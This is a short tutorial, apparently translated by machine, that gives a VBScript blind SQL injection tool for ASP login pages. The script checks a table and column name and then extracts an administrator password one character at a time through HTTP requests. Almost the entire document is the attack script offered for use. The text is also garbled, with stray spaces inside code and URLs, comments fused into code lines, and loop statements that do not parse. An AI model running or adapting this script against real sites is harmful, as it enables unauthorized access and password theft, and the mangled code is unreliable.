Vbs implements SQL Injection

By: jinsdb [B .C. T]

Someone uses Test. SendRequest ("Http ://"; & G_sServer &"/testfiles/browser. asp ") Write A vbs injection tool.

However, a dozens of M Toolkit should be installed using the modified object. I will copy the script here and use Microsoft. implement XMLHTTP and use open function commit to crack injected pages:
RightW = "OK! "Define the keywords returned by the correct page.
Tablename = "useradmin" defines the table name and column name. This program does not provide the table name and column name guessing function. It only provides password guessing.
Filedname = "password"
WScript. Echo "Start check the tname and the fname, please waiting ......"

URL ="Http: // 127.0.0.1/fwork/f. asp? Username = admin & password = abzvc"The url address with the injection vulnerability is provided below for injection of the vulnerability type. You only need to change the number type slightly.

Set xPost = createObject ("Microsoft. XMLHTTP") check whether the table name is correct
SURL1 = URL & "% 20and % 20 (Select % 20 Count (1) % 20 from % 20 [useradmin])> = 0"
XPost. Open "POST", sURL1, 0
XPost. Send "1212312"
If instr (xPost. responseText, RightW) <> 0 Then
WScript. Echo "table name is:" & useradmin
End if

SURL2 = URL & "% 20and % 20 (Select % 20 Count ([useradmin]. [password]) % 20 from % 20 [useradmin])> = 0" check whether the column name is correct
XPost. Open "POST", sURL2, 0
XPost. Send "1212312"
If instr (xPost. responseText, RightW) <> 0 Then
WScript. Echo "field name is:" & filedname
End if

WScript. Echo "Start gussing, Waiting ......"

For I = 0 to 128 step 1 guess password length
SURL3 = URL & "and + (select % 20 username % 20 from % 20 useradmin % 20 where % 20len (password) = "& I &" % 20and % 20 username = user)> = 0"
XPost. Open "POST", sURL3, 0
XPost. Send "1212312"
If instr (xPost. responseText, RightW) <> 0 Then
Exit
End If
Next
Pwd_len = I
WScript. Echo "the pass length is:" & pwd_len

Pwd = "" guess password
Strings = "0123456789 abcdefghijklmnopqrstuvwxyz" Custom password string
For j = 1 to pwd_len step 1
For k = 1 to len (strings) step 1

SURL4 = URL & "% 20and % 20 (select % 20 username % 20 from % 20 useradmin % 20 where % 20 left (password," & j &") % 20 = "& pwd & mid (strings, k, 1) &" % 20and % 20 username = user)> = 0"
XPost. Open "POST", sURL4, 0
XPost. Send "1212312"

If instr (xPost. responseText, RightW) <> 0 Then
Pwd = pwd & mid (strings, k, 1)
Exit
End If
Next
Next

If errn Then
WScript. Echo "error:" & Error. Description
Error. Clear
Else
WScript. Echo "!!! Password: "& pwd
End If